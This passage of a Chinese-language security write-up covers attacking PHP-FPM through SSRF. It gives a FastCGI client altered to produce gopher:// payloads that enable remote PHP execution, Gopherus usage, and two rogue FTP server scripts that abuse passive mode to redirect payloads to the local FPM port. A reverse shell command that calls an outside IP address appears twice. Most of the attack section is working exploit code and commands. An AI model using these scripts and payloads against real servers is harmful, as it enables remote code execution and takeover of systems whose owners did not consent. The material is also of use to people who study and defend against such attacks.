request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
# 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
#self.sock.send(request)
#self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
#self.requests[requestId]['response'] = ''
#return self.__waitForResponse(requestId)
return request
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
# 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
#response = client.request(params, content)
#print(force_text(response))
request_ssrf = urlparse.quote(client.request(params, content))
print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

用法依旧:

1
python fpm2.py -c "<?php system('ls'); exit(); ?>" -p 9000 127.0.0.1 /var/www/html/index.php

​ 注:这里执行的命令的起始路径是我们传入的这个文件,例如/var/www/html/index.php这个

神了,从下午2点搭这个b环境打ssrf一直有问题,mb的最后发现是hcj的sb docker模板拉的是轻量级煞笔php,最后自己重新拉了个ubuntu配的php,nginx,php-fpm才好使,服了!!!!!

使用Gopherus

gopherus确实牛逼,输入:python2 gopherus.py --exploit fastcgi后路径再输入已确定存在的php文件的路径,再输入要执行的命令即可.

image-20240922211137736

效果:

image-20240922211159505

SSRF中的攻击点

curl_exec()

很经典的能进行ssrf的函数,能支持file,dict,gopher等伪协议.

file_get_contents()

可以从指定路径来获取资源,不支持gopher协议

sockopen()

这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

FTP攻击FPM/FastCGI

FTP的两种模式

​ FTP会话包含了两个通道,控制通道和数据传输通道,FTP的工作有两种模式,一种是主动模式,一种是被动模式,以FTP Server为参照:主动模式,服务器主动连接客户端传输;被动模式,等待客户端的连接。

  • 主动模式:

​ 在主动模式下,FTP客户端随机开启一个大于1024的端口N向服务器的21号端口发起连接,然后开放N+1号端口进行监听,并向服务器发出PORT N+1命令。服务器接收到命令后,会用其本地的FTP数据端口(通常是20)来连接客户端指定的端口N+1,进行数据传输。

  • 被动模式:

​ 在被动模式下,FTP库户端随机开启一个大于1024的端口N向服务器的21号端口发起连接,同时会开启N+1号端口。然后向服务器发送PASV命令,通知服务器自己处于被动模式。服务器收到命令后,会开放一个大于1024的端口P进行监听,然后用PORT P命令通知客户端,自己的数据端口是P。客户端收到命令后,会通过N+1号端口连接服务器的端口P,然后在两个端口之间进行数据传输。

​ 总的来说,主动模式的FTP是指服务器主动连接客户端的数据端口,被动模式的FTP是指服务器被动地等待客户端连接自己的数据端口。

​ 由此可见,在被动模式中,FTP客户端和服务端的数据传输端口是由服务端指定的,实际上除了端口,服务器的地址也是可以被指定的.由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的:

1
227 Entering Passive Mode(192,168,9,2,4,8)

227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语,而 (192,168,9,2,4,8) 代表让客户端到连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。

​ 这样,假如我们指定 (127,0,0,1,0,9000) ,那么便可以将地址和端口指到 127.0.0.1:9000,也就是本地的 9000 端口。同时由于 FTP 的特性,其会把传输的数据原封不动的发给本地的 9000 端口,不会有任何的多余内容。如果我们将传输的数据换为特定的 Payload 数据,那我们便可以攻击内网特定端口上的应用了。在这整个过程中,FTP 只起到了一个重定向 Payload 的内容。

写入文件

例:

1
2
3
4
<?php
highlight_file(__FILE__);
file_put_contents($_GET['file'], $_GET['data']);
?>

一个经典的写文件函数,但是假如没有权限写文件我该怎么利用呢?那么就可以利用ssrf来打.

ssrf通常能使用gopher://协议来打,但是这个函数不支持,如果内网存在PHP-FPM的话,那么我们就可以利用FTP的被动模式来攻击FPM.

起一个伪ftp客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23)) # ftp服务绑定23号端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
# "127,0,0,1"PHP-FPM服务为受害者本地,"9000"为为PHP-FPM服务的端口号
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

使用Gopherus生成一个打FPM反弹shell的payload,只取_后面的值.

1
2
3
python gopherus.py --exploit fastcgi
/var/www/html/index.php
bash -c "bash -i >& /dev/tcp/103.150.11.108/2333 0>&1"

image-20240924213646912

nc监听2333端口,传参即可反弹shell

image-20240924214005710

读取写回文件

​ 例如CVE-2021-3129这个漏洞,核心就是传入 file_get_contents() 和 file_put_contents() 这两个函数中的内容没有经过过滤,从而可以通过精巧的构造触发 phar 反序列化,达到RCE的效果.

示例代码:

1
2
3
4
<?php
$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);
?>

可以看到,这段代码的主要功能就是先读取一个文件,再把这个文件的内容写到这个文件里,相当于啥也没干.

file_get_contents我们经常用来进行ssrf,其支持各种伪协议,假如我们使用ftp协议的话,传入

viewFile=ftp://evil-server/file.txt的话,那么就会发生以下步骤:

  1. 先通过file_get_contents()连接到我们的ftp服务器,下载file.txt
  2. 再通过file_put_contents()连接到ftp服务器,并将其上传回file.txt

​ 那么我们依旧搭一个evilftp服务器,先从服务器上下载文件后,当他试图传回文件的时候,我们再告诉他把文件发送到127.0.0.1:9000,这样我们就可以向目标主机本地的PHP-FPM发送一个任意的数据包,然后就能任意代码执行了.

依旧使用Gopherus生成payload:

1
2
3
python gopherus.py --exploit fastcgi
/var/www/html/index.php
bash -c "bash -i >& /dev/tcp/103.150.11.108/2333 0>&1"

evilftpredict.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding: utf-8 -*-
# @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote(" ")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则:35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1